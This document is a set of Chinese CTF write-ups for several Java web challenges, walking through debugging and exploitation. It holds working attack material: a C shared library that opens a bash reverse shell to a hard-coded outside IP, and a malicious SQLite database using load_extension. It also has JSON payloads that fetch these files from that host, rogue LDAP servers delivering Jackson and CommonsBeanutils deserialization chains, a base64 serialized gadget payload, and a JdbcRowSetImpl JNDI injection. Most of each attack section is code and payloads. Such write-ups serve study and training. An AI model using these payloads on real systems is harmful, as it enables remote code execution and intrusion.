CISCN2024 ezJava
sqlite开启了enableLoadExtension 参考https://sqlite.readdevdocs.com/loadext.html 可加载动态链接库
参考freebuf文章https://www.freebuf.com/vuls/341270.html
sqlite的url中如果以:resource:开头,则会请求该资源并且保存到tmp目录下,还会执行其中的SQL语句
大概思路,通过sqlite缓存恶意so文件,再请求恶意db执行LoadExtension加载恶意so文件反弹shell
生成恶意so文件
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
void flag() {{
system("bash -c 'bash -i >& /dev/tcp/119.3.157.129/3333 <&1'");
}}
void space() {{
// this just exists so the resulting binary is > 500kB
static char waste[500 * 1024] = {{2}};
}}
//编译gcc -shared -fPIC exp.c -o exp.so
使用脚本生成恶意db
import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
public class test {
public static void main(String[] args) {
try {
String dbFile = "poc.db";
File file = new File(dbFile);
Class.forName("org.sqlite.JDBC");
Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);
System.out.println("Opened database successfully");
//缓存的数据库文件名要调试看下
String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp-526269146.db','flag'));"; //向其中插入传入的三个参数
PreparedStatement preStmt = conn.prepareStatement(sql);
preStmt.executeUpdate();
preStmt.close();
conn.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
缓存的名字来自于resourceAddr的hashcode,这一点需要注意
//第一次payload缓存so文件
{"type":3,"url":"jdbc:sqlite::resource:http://119.3.157.129:7777/exp.so","tableName":"security"}
//第二次调用db加载so文件
{"type":3,"url":"jdbc:sqlite::resource:http://119.3.157.129:7777/poc.db","tableName":"security"}
RCTF OpenYourEyesToSeeTheWorld
路由,明显就是打LDAP服务,那么进调试
public class DemoController {
@RequestMapping({"/index"})
public String sayHello(@RequestBody Map<String, Object> bean) throws Exception {
Properties properties = new Properties();
String ip = (String) bean.get("ip");
Integer port = (Integer) bean.get("port");
if (ip.matches("^[0-9.]+$")) {
String url = "ldap://" + ip + ":" + port;
properties.setProperty("java.naming.provider.url", url);
properties.setProperty("java.naming.factory.initial", "com.sun.jndi.ldap.LdapCtxFactory");
String searchBase = (String) bean.get("searchBase");
String filter = (String) bean.get("filter");
if (searchBase != null && filter != null) {
new InitialDirContext(properties).search(searchBase, filter, (SearchControls) null);
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
}
在c_search_nss中的c_processJunction_nns调用了c_lookup
其中会对lookup获取的类进行了反序列化的逻辑
先瞎勾吧写个payload,进调试看看
{"ip":"192.168.1.13","port":1389,"searchBase":"123","filter":"123"}
会发现在switch中不会走进c_search_nns的逻辑
那么就去查看var5的逻辑,进入p_resolveIntermediate,Status取决于var3
而只有var5.size() == 1 时才会将var3设置为3,var5又取决于var4的Tail
进入p_parseComponent查看var4的逻辑
tail取决于var5
var5来自于var1的Suffix
进入getSuffix逻辑
取决于Namelmpl的components参数好的,那么我们往上翻翻var1,找他这个参数是什么时候设置的
实际上这个var1,就是我们传入的searchBase,他用CompositeName进行了封装,看看里面的处理逻辑
我甘霖娘的,找到了,components是在这里设置的,查看一下大概逻辑
大概就是经过extractComp后,提取出一个i,然后i与长度对比,如果小于就往compoents中添加一个空的Element?就能使size变1。这里不管了,我们看下extractComp的逻辑
很长,有一个while循环,很显然就是要找break跳出的地方
private final int extractComp(String name, int i, int len, Vector<String> comps)
throws InvalidNameException {
String beginQuote;
String endQuote;
boolean start = true;
boolean one = false;
StringBuffer answer = new StringBuffer(len);
while (i < len) {
// handle quoted strings
if (start && ((one = isA(name, i, syntaxBeginQuote1)) ||
isA(name, i, syntaxBeginQuote2))) {
// record choice of quote chars being used
beginQuote = one ? syntaxBeginQuote1 : syntaxBeginQuote2;
endQuote = one ? syntaxEndQuote1 : syntaxEndQuote2;
if (escapingStyle == STYLE_NONE) {
escapingStyle = one ? STYLE_QUOTE1 : STYLE_QUOTE2;
}
// consume string until matching quote
for (i += beginQuote.length();
((i < len) && !name.startsWith(endQuote, i));
i++) {
// skip escape character if it is escaping ending quote
// otherwise leave as is.
if (isA(name, i, syntaxEscape) &&
isA(name, i + syntaxEscape.length(), endQuote)) {
i += syntaxEscape.length();
}
answer.append(name.charAt(i)); // copy char
}
// no ending quote found
if (i >= len)
throw
new InvalidNameException(name + ": no close quote");
// new Exception("no close quote");
i += endQuote.length();
// verify that end-quote occurs at separator or end of string
if (i == len || isSeparator(name, i)) {
break;
}
// throw (new Exception(
throw (new InvalidNameException(name +
": close quote appears before end of component"));
} else if (isSeparator(name, i)) {
break;
} else if (isA(name, i, syntaxEscape)) {
if (isMeta(name, i + syntaxEscape.length())) {
// if escape precedes meta, consume escape and let
// meta through
i += syntaxEscape.length();
if (escapingStyle == STYLE_NONE) {
escapingStyle = STYLE_ESCAPE;
}
} else if (i + syntaxEscape.length() >= len) {
throw (new InvalidNameException(name +
": unescaped " + syntaxEscape + " at end of component"));
}
} else if (isA(name, i, syntaxTypevalSeparator) &&
((one = isA(name, i+syntaxTypevalSeparator.length(), syntaxBeginQuote1)) ||
isA(name, i+syntaxTypevalSeparator.length(), syntaxBeginQuote2))) {
// Handle quote occurring after typeval separator
beginQuote = one ? syntaxBeginQuote1 : syntaxBeginQuote2;
endQuote = one ? syntaxEndQuote1 : syntaxEndQuote2;
i += syntaxTypevalSeparator.length();
answer.append(syntaxTypevalSeparator+beginQuote); // add back
// consume string until matching quote
for (i += beginQuote.length();
((i < len) && !name.startsWith(endQuote, i));
i++) {
// skip escape character if it is escaping ending quote
// otherwise leave as is.
if (isA(name, i, syntaxEscape) &&
isA(name, i + syntaxEscape.length(), endQuote)) {
i += syntaxEscape.length();
}
answer.append(name.charAt(i)); // copy char
}
// no ending quote found
if (i >= len)
throw
new InvalidNameException(name + ": typeval no close quote");
i += endQuote.length();
answer.append(endQuote); // add back
// verify that end-quote occurs at separator or end of string
if (i == len || isSeparator(name, i)) {
break;
}
throw (new InvalidNameException(name.substring(i) +
": typeval close quote appears before end of component"));
}
answer.append(name.charAt(i++));
start = false;
}
if (syntaxDirection == RIGHT_TO_LEFT)
comps.insertElementAt(answer.toString(), 0);
else
comps.addElement(answer.toString());
return i;
}
有很多处,可以看见都是围绕着一个函数isSeparator
进入IsA大概查看一下逻辑
可以看见使用了startsWith进行了匹配
大概逻辑,就是遍历searchBase的字符串,寻找是否存在/,如果有/则break
这里提一嘴有个白名单waf,正则里没有放行/,所以用unicode编码一下即可绕过
{"ip":"192.168.1.13","port":1389,"searchBase":"123\u002f","filter":"123"}
可以看到我们在字符串中传入/即可进入if,且在后续进入了c_search_nss
那么此时我们就可以开始构造我们的恶意LDAP服务了
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
public class LDAPSerializedDataServer {
private static final String LDAP_BASE = "dc=example,dc=com";
private int port;
private byte[] payload;
public LDAPSerializedDataServer(int port, byte[] payload) {
this.port = port;
this.payload = payload;
}
public void start(){
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
System.out.println("Make client lookup \"ldap://0.0.0.0:"+port+"/anything_okay\"");
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private class OperationInterceptor extends InMemoryOperationInterceptor {
public OperationInterceptor () {
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
System.out.println("Sending unserialized data...");
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", payload);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
用jackson链子直接结束
public static void main(String[] args) throws Exception {
overrideJackson();
Object calc = Gadget.getPOJONodeStableProxy(Gadget.getTemplatesImpl("calc"));
POJONode jsonNodes = new POJONode(calc);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
Util.setFieldValue(badAttributeValueExpException,"val",jsonNodes);
LDAPSerializedDataServer ldapSerializedDataServer = new LDAPSerializedDataServer(7777, Util.serialize(badAttributeValueExpException));
ldapSerializedDataServer.start();
}
发送payload即可
{"ip":"192.168.1.13","port":7777,"searchBase":"11\u002f","filter":"123"}
上docker,cmd换成反弹shell的即可
DASCTF2024 ErloGrave
调试环境搭建
修改docker-compose.yml,添加debug端口映射
启动后进入docker修改/usr/local/tomcat/bin/catalina.sh,添加远程DEBUG参数
JAVA_OPTS=”-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8000”
重新给文件上权限chmod 777,重启docker
IDEA添加远程JVM调试即可
题解
配置
有配置,查下是什么东西
ran-jit/tomcat-cluster-redis-session-manager:Tomcat 集群 redis 会话管理器 java 客户端。 (github.com)
大概就是用户请求会话消息会缓存在redis中,便于集群服务器取用。
通过SessionManager类进行管理
依赖
依赖文件,给了个cc,大概率是打反序列化了,经调试jedis里没太大问题,redis session依赖可能存在利用点。
在tomcat cluster redis session反编译后全局搜索,发现存在readObject点
向上查找可以发现在SessionManager中存在利用
路由功能点
对登录进行了缓存存储,键值可控
代码审计调试
在SessionManager中的findSession中,会获取sessionId,从redis中读取对应数据,然后进行反序列化
猜测是注册绑定在类似于Filter的逻辑中,在携带Sessionid访问时触发,调试可知
思路总结
在main路由处输入账号和密码,控制存入redis的键和值,随便打一条CC的链子即可,发包两次即可成功
题目不出网,且不知道为什么写jsp木马会有问题,我就直接打的普通内存马
并不是真正的flag,后续我上传frp去用MTUD打内网redis也没打成功,不知道是不是要主从复制,摆了
就在根目录下/etcccc里面。。。讲真他docker不知道配置了什么,我jsp木马一直没写成功,算了,回头改一个冰蝎或者哥斯拉的tomcat马和spring马吧
WMCTF Ezql
拿了个三血,见识我和unknown的羁绊吧!我们好强!
跑了个javahttp服务,ql路由处接受请求体,调用ql表达式解析,开启了方法调用白名单,只允许使用valueOf
查看项目文档
查看RCTF2024的wp也没找到相关,但是在回答中能看到一些提示
白名单构造函数上确实存在问题
查看相关修复,发现新增了对于类构造方法的黑白名单。
提出了使用TrAXFilter对类字节码进行的加载的猜想,调试发现可以进入,但是无法设置TemplatesImpl的_bytecodes的值,无奈放弃
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
t = new TemplatesImpl();
t["_bytecodes"] = [[1,2,3]];
tra = new TrAXFilter(t);
在翻阅文档中看见
这样的用法会调用类的setter,立刻想到JdbcRowSetImpl,且JDK版本是202,刚好是最后一个能打LDAP注入的版本
import com.sun.rowset.JdbcRowSetImpl;
jdbc = new JdbcRowSetImpl();
jdbc.dataSourceName = "1";
jdbc.autoCommit = true;
perfect!可行,但是没有tomcat,只能打反序列化,一眼shiro
完美,生成cb链payload,启一个LDAP服务
package com.JNDI;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.util.Base64;
public class LDAPSerializedDataServer {
private static final String LDAP_BASE = "dc=example,dc=com";
private int port;
private byte[] payload;
public static void main(String[] args) {
String payload = "rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgBAY29tLnN1bi5vcmcuYXBhY2hlLnhtbC5pbnRlcm5hbC5zZWN1cml0eS5jMTRuLmhlbHBlci5BdHRyQ29tcGFyZZ1IoA3i3IaaAgAAeHB0ABBvdXRwdXRQcm9wZXJ0aWVzdwQAAAADc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAETAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAXiyv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MY29tL3Rlc3QvY2FsYzsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAljYWxjLmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQANY29tL3Rlc3QvY2FsYwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACgANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFgANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGwANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARLpwAISyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAANAAkAEAAMAA4ADQAPABEAEQANAAAADAABAA0ABAAeAB8AAAAgAAAABwACTAcAIQQAAQAiAAAAAgAjcHQAA2FhYXB3AQB4c3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAJ4";
byte[] bytes = Base64.getDecoder().decode(payload);
LDAPSerializedDataServer ldapSerializedDataServer = new LDAPSerializedDataServer(30000, bytes);
ldapSerializedDataServer.start();
}
public LDAPSerializedDataServer(int port, byte[] payload) {
this.port = port;
this.payload = payload;
}
public void start(){
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
System.out.println("Make client lookup \"ldap://0.0.0.0:"+port+"/anything_okay\"");
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private class OperationInterceptor extends InMemoryOperationInterceptor {
public OperationInterceptor () {
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
System.out.println("Sending unserialized data...");
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaSerializedData", payload);
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
import com.sun.rowset.JdbcRowSetImpl;
jdbc = new JdbcRowSetImpl();
jdbc.dataSourceName = "ldap://xxx.xxx.xxx.xxxx:xxxx/anything_okay";
jdbc.autoCommit = true;
base64加密向ql路由post即可反弹shell